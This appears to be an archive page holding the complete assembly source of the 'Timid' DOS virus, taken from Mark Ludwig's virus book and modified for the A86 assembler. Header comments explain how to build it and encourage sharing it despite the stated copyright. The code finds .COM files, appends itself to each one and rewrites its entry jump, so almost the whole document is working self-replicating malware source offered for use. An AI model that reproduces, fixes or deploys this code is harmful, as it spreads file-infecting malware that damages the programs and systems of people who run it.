home *** CD-ROM | disk | FTP | other *** search
- ;TIMID VIRUS asm by Mark Ludwig in 1991.
- ;
- ;-infects .coms only in current directory unless called by dos path statement
- ;-announces each file infected.
- ;297bytes=eff. length
- ;Copied from Mark Ludwig's "The Little Black Book of Computer Viruses"
- ;Slightly modified for A86 assembly.
- ;-asm makes a 64k file, run against 'bait' .com to get 297 byte virus
- ;-fixed bug in code reprinted in his book.
- ;all infected files will have VI at byte position 4-5.
- ;Mark Ludwig claims copyright on this virus and said he will
- ; sue anyone distributing his viruses around. I say have fun!.
-
-
- main segment byte
- assume cs:main, ds:main, ss:nothing
-
- org 100h
-
- host:
- jmp near ptr virus_start
- db 'VI' ;identifies virus
- mov ah, 4ch
- mov al, 0
- int 21h
-
- virus:
-
- comfile db '*.com',0
-
- virus_start:
- call get_start
-
- get_start:
- sub word ptr [vir_start], offset get_start - offset virus
- mov dx, offset dta
- mov ah, 1ah
- int 21h
- call find_file
- jnz exit_virus
- call infect
- mov dx, offset fname
- mov [handle] b,24h
- mov ah, 9
- int 21h
- exit_virus: ;bug was here in book
- mov dx, 80h
- mov ah, 1ah
- int 21h
- mov bx, [vir_start]
- mov ax, word ptr [bx+(offset start_code)-(offset virus)]
- mov word ptr [host], ax
- mov ax, word ptr [bx+(offset start_code)-(offset virus)+2]
- mov word ptr [host+2],ax
- mov al, byte ptr [bx+(offset start_code)-(offset virus)+4]
- mov byte ptr [host+4], al
- mov [vir_start], 100h
- ret
- start_code:
- nop
- nop
- nop
- nop
- nop
-
- find_file:
- mov dx, [vir_start]
- add dx, offset comfile-offset virus
- mov cx, 3fh
- mov ah, 4eh
- int 21h
-
- ff_loop:
- or al,al
- jnz ff_done
- call file_ok
- jz ff_done
- mov ah, 4fh
- int 21h
- jmp ff_loop
-
- ff_done:
- ret
-
- file_ok:
- mov dx, offset fname
- mov ax, 3d02h
- int 21h
- jc fok_nzend
- mov bx, ax
- push bx
- mov cx, 5
- mov dx, offset start_image
- mov ah, 3fh
- int 21h
- pop bx
- mov ah, 3eh
- int 21h
- mov ax, word ptr [fsize]
- add ax, offset endvirus - offset virus
- jc fok_nzend
- cmp byte ptr [start_image], 0e9h
- jnz fok_zend
-
- fok_nzend:
- mov al, 1
- or al,al
- ret
-
- fok_zend:
- xor al,al
- ret
-
- infect:
- mov dx, offset fname
- mov ax, 3d02h
- int 21h
- mov word ptr [handle],ax
-
- xor cx,cx
- mov dx,cx
- mov bx, word ptr [handle]
- mov ax, 4202h
- int 21h
-
- mov cx, offset final -offset virus
- mov dx, [vir_start]
- mov bx, word ptr [handle]
- mov ah, 40h
- int 21h
-
- xor cx,cx
- mov dx, word ptr [fsize]
- add dx, offset start_code-offset virus
- mov bx, word ptr [handle]
- mov ax, 4200h
- int 21h
-
- mov cx, 5
- mov bx, word ptr [handle]
- mov dx, offset start_image
- mov ah, 40h
- int 21h
-
- xor cx,cx
- mov dx,cx
- mov bx, word ptr [handle]
- mov ax, 4200h
- int 21h
-
- mov bx, [vir_start]
- mov byte ptr [start_image], 0e9h
- mov ax, word ptr [fsize]
- add ax, offset virus_start-offset virus-3
- mov word ptr [start_image+1], ax
- mov word ptr [start_image+3], 4956h
-
- mov cx, 5
- mov dx, offset start_image
- mov bx, word ptr [handle]
- mov ah, 40h
- int 21h
-
- mov bx, word ptr [handle]
- mov ah, 3eh
- int 21h
- ret
-
- final:
-
- ;data area
- endvirus equ $ + 212
- org 0ff2ah
-
- dta db 1ah dup (?)
- fsize dw 0,0
- fname db 13 dup (?)
- handle dw 0
- start_image db 0,0,0,0,0
- vstack dw 50h dup (?)
- vir_start dw (?)
-
- main ends
- end host
- ;end of timid.asm
-
-
-
-
-
-
-
-
-
-
-